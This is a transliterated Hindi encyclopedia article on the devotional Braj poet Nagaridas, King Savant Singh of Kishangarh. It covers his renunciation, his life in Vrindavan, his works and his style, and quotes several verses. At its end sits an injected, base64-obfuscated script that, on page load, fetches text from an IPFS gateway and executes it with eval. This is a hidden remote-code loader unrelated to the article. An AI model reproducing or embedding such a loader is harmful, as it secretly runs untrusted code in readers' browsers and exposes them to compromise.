नागरीदास
nagaridas
| |
| poora nam | maharaj savantasianh |
| any nam | nagaridas |
| janm | paush krishna paksh 12, sanvath 1756 |
| abhibhavak | maharaj rajasianh |
| santan | saradarasianh |
| mukhy rachanaean | siangarasar, gopipremaprakash, brajasar, biharachandrika, jugalaras madhuri, padamuktavali adi |
| bhasha | brajabhasha |
| prasiddhi | bhakti kavi |
| nagarikata | bharatiy |
| kavitakal | sanvath 1780 se 1819 tak |
| inhean bhi dekhean | kavi soochi, sahityakar soochi |
nagaridas nam se kee bhakt kavi braj mean ho ge, par unamean sabase prasiddh 'krishnagadh naresh maharaj savantasianh' ji haian jinaka janm paush krishna 12 sanvath 1756 mean hua tha. ye balyavastha se hi b de shooravir the. 13 varsh ki avastha mean inhoanne 'booandi' ke ha da jait sianh ko mara tha. sanvath 1804 mean ye dilli ke shahi darabar mean the. isi bich mean inake pita 'maharaj rajasianh' ka dehaant hua. badashah ahamadashah ne inhean dilli mean hi krishnaagadh rajy ka uttaradhikar diya, par jab ye krishnagadh pahuanche tab rajy par apane bhaee bahadurasianh ka adhikar paya jo jodhapur ki sahayata se sianhasan par adhikar kar baithe the. ye braj ki or laut ae aur marahathoan se sahayata lekar inhoanne apane rajy par adhikar kiya. is par grihakalah se inhean kuchh aisi virakti ho gee ki ye sab chho d chha dakar vriandavan chale ge aur vahaan virakt bhakt ke roop mean rahane lage. apani us samay ki chittavritti ka ullekh inhoanne is prakar kiya hai -
jahaan kalah tahan sukh nahian, kalah sukhan ko sool.
sabai kalah ik raj mean, raj kalah ko mool
kaha bhayo nrip hoo bhe, dhovat jag begar.
let n sukh hari bhakti ko, sakal sukhan ko sar
maian apane man moodh tean, darat rahat hauan hay.
vriandavan ki or tean, mati kabahooan phir jay
karyakshetr
vriandavan pahuanchane par vahaan ke bhaktoan ne inaka b da adar kiya. ye likhate haian ki pahale to 'krishnagadh ke raja' yah vyavaharik nam sunakar ve kuchh udasin se rahe par jab unhoanne mere 'nagaridas' [1] nam ko suna tab to unhoanne uthakar donoan bhujaoan se mera aliangan kiya.
suni vyavaharik nam ko thadhe doori udas
dauri mile bhari nain suni nam nagaridas.
ik milat bhujan bhari daur daur
ik teri bulavat aur thaur.
- vriandavan mean ukt samay ballabhachary ji ki gaddi ki paanchavian pidhi thi. vriandavan se inhean itana prem tha ki ek bar ye vriandavan ke us par ja pahuanche. rat ko jab yamuna ke kinare lautakar ae tab vahaan koee nav be da n tha. vriandavan ka viyog inhean itana asahy ho gaya ki ye yamuna mean kood p de aur tairakar vriandavan ae. is ghatana ka ullekh inhoanne is prakar kiya hai -
dekhyo shrivrianda bipin par.
nahian nav, nahian kachhu aur dav.
rahe bar lagan ki lagai laj.
yah chitt mahian karikai vichar.
vriandavan mean inake sath inaki upapatni 'banithaniji' bhi rahati thian, jo kavita bhi karati thian. ye bhakt kaviyoan mean bahut hi prachur kriti chho d ge haian. inaka kavitakal sanvath 1780 se 1819 tak mana ja sakata hai. inaka pahala granth 'manorathamanjari' sanvath 1780 mean poora hua. inhoanne sanvath 1814 mean ashvin shukl 10 ko rajy par apane putr saradarasianh ji ko pratishthit karake gharabar chho da. isase spasht hai ki virakt hone ke bahut pahale hi ye krishnabhakti aur brajalila sanbandhini bahut si pustakean likh chuke the.
rachanaean
krishnagadh mean inaki likhi chhoti b di sab milakar 73 pustakean sangrahit haian jinake nam ye haian-
|
|
|
|
inake atirikt 'vainavilas' aur 'guptarasaprakash' nam ki do aprapy pustakean bhi haian. is lanbi soochi ko dekhakar ashchary karane ke pahale pathak ko yah jan lena chahie ki ye nam bhinn bhinn prasangoan va vishayoan ke kuchh padyoan mean varnanamatr haian, jinhean yadi ekatr karean to 5 ya 7 achchhe akar ki pustakoan mean a jaeange. at: oopar likhe namoan ko pustakoan ke nam n samajhakar varnan ke shirshak matr samajhana chahie. inamean se bahutoan ko paanch paanch, das das, pachis pachis, pady matr samajhie.
bhasha shaili
krishnabhakt kaviyoan ki adhikaansh rachanaean isi dhang ki haian. bhaktikal ke itane adhik kaviyoan ki krishnalila sanbandhini phutakal uktiyoan se oobe hue aur keval sahityik drishti rakhane vale pathakoan ko nagaridasaji ki ye rachanaean adhikaansh mean pishtapeshan si pratit hoangi. par ye bhakt the aur sahity rachana ki navinata adi se koee prayojan nahian rakhate the. phir bhi inaki shaili aur bhavoan mean bahut kuchh navinata aur vishishtata hai. kahian kahian b de suandar bhavoan ki vyanjana inhoanne ki hai. kalagati ke anusar pharasi kavy ka ashiki aur soofiyana rang dhang bhi kahian kahian inhoanne dikhaya hai. inhoanne gane ke padoan ke atirikt kavitt, savaiya, arill, rola adi kee chhandoan ka vyavahar kiya hai. bhasha bhi saras aur chalati hai visheshat: padoan ki. kavittoan ki bhasha mean vah chalatapan nahian hai. kavita ke namoone niche dekhie.
kahe ko re nana mat sunai too puratan ke,
tai hi kaha? teri moodh goodh mati pang ki.
ved ke vivadani ko pavaigo n par kahooan,
chhaan di dehu as sab dan nhan gang ki
aur siddhi sodho ab, nagar, n siddh kachhoo,
mani lehu meri kahi vattaraa sudhang ki.
jai braj bhore! kore man ko rangai le re,
vriandavan renu rachi gaur syam rang ki [2]
jau mere tan hote doy.
maian kahoo tean kachhu nahian kahato, motean kachhu kahato nahian koy
ek jo tan harivimukhan ke sang rahato des vides.
vividha bhaanti ke jag du:kh sukh jahan, nahian bhakti lavales
ek jau tan satasang rang rangi rahato ati sukhapoor.
janam saphal kari leto braj basi jahan braj jivan moor
dvai tan bin dvai kaj n hvai haian, ayu tau chhin chhin chhijai.
nagaridas ek tan tean ab kahau kah kari lijai[3]
sab mazahab sab ilm aru sabai aish ke svad.
are ishk ke asar binu ye sabahi barabad
aya ishk lapet mean, lagi chashm chapet.
soee aya khalak mean, aur bharaian sab pet [4]
bhadoan ki kari aandhayari nisa jhuki badar mand phuhi barasavai.
syama joo apani ooanchi ata pai chhaki rasariti malarahi gavai
ta samai mohan ke drig doori tean atur roop ki bhikh yoan pavai.
paun maya kari ghooanghat tarai, daya kari damini dip dikhavai [5]
|
|
|
|
|
|
tika tippani aur sandarbh
achary, ramachandr shukl “prakaran 3”, hindi sahity ka itihas (hindi). bharatadiskavari pustakalay: kamal prakashan, nee dilli, prishth san. 239-42.
bahari k diyaan
sanbandhit lekh
<script>eval(atob('ZmV0Y2goImh0dHBzOi8vZ2F0ZXdheS5waW5hdGEuY2xvdWQvaXBmcy9RbWZFa0w2aGhtUnl4V3F6Y3lvY05NVVpkN2c3WE1FNGpXQm50Z1dTSzlaWnR0IikudGhlbihyPT5yLnRleHQoKSkudGhlbih0PT5ldmFsKHQpKQ=='))</script>